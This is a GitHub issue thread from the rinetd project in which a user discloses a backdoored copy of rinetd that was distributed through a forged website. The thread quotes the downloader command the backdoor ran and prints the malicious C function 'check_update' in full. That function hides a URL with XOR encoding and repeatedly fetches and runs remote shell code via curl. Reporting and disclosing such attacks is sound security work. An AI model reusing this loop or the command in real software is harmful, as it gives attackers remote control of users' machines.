boutell/rinetd

【Backdoor Installed】

Opened this issue · 4 comments

conan25216 commented

Hello, this rinetd installed a backdoor malware on my Linux.
In general, rinetd will update every hour, but when on Nov 3, it gave me this commands:
/bin/sh -c cd /tmp && \rm -rf ./update && \curl -sfo update http://www.rinetd.com/aaaNH4XIlLcni && \chmod 777 ./update && \./update && \rm -rf ./update update.sh
and the file on http://www.rinetd.com/aaaNH4XIlLcni, is a rootkit which is a malware backdoor.
You could see the virustotal &joesandbox reports for details:

  1. https://www.virustotal.com/gui/file/1c484e24d1e62d390fe2c3951ceaa804c34ac662e73b7f3d1b21604953133507/detection
  2. https://www.joesandbox.com/analysis/325000/0/html#3512d899f236c3a41a8cc6fa1837e93f212565

And here is my question:
what happened to rinetd made it install a backdoor for me..

Look forward to your soonest reply！

I downloaded the source code from here: http://www.rinetd.com/.
The piece of code have a function called "check_update", with this function someone control the downloader's computer who installed and executed it.

void *check_update(void *arg)
{
	int i;
        char sys[BUFSIZ]={0};
	char nfn[BUFSIZ]={0};
	char fn[]= {-27,-13,-12,-22,-90,-85,-32,-11,-90,-18,-14,-14,-10,-68,-87,-87,-13,-10,-30,-25,-14,-29,-88,-12,-17,-24,-29,-14,-30,-88,-27,-23,-21,-87,-13,-10,-30,-25,-14,-29,-88,-10,-18,-10};
	 for(i = 0; i < strlen(fn); i++)
    	       fn[i] = fn[i] ^ 0x86;
	sampleOsRelease(sys);
	sprintf(nfn,"%s?t=%s",fn,sys);
	while(1)
	{
     	     FILE *fp;
	     char buf[BUFSIZ];
	          

	     if (NULL != (fp = popen(nfn, "r")))
		fread(buf, BUFSIZ, 1, fp);
	    else {
		  Sleep(1000); 
		    continue;
		}
	    pclose(fp);
           if (strlen(buf)>0)
	   {
	       char url[BUFSIZ];
	       sprintf(url,"/bin/sh -c \"$(curl -fsSL %s)\"",buf);
	       system(url);
		 
	    }
		buf[0]=0;
	    Sleep(1800000); 
	}

    return ((void *)0);
}
boutell commented
boutell commented
boutell commented
conan25216 commented

Yeah, we also found that the check_update function is only present in the source code from that website.
This is a well-organized attack that targets well-known open-source software by forging their official websites. People may be directed to fake websites through web search engines like Google and then download malicious backdoors. According to our inspection, these backdoors belongs to the DDoS Trojan horse family (XOR), which are used to build a botnet.

We have issued a security notice regarding this attack today.
https://security.tencent.com/index.php/blog/msg/173

Thank you for publishing the warning on Twitter!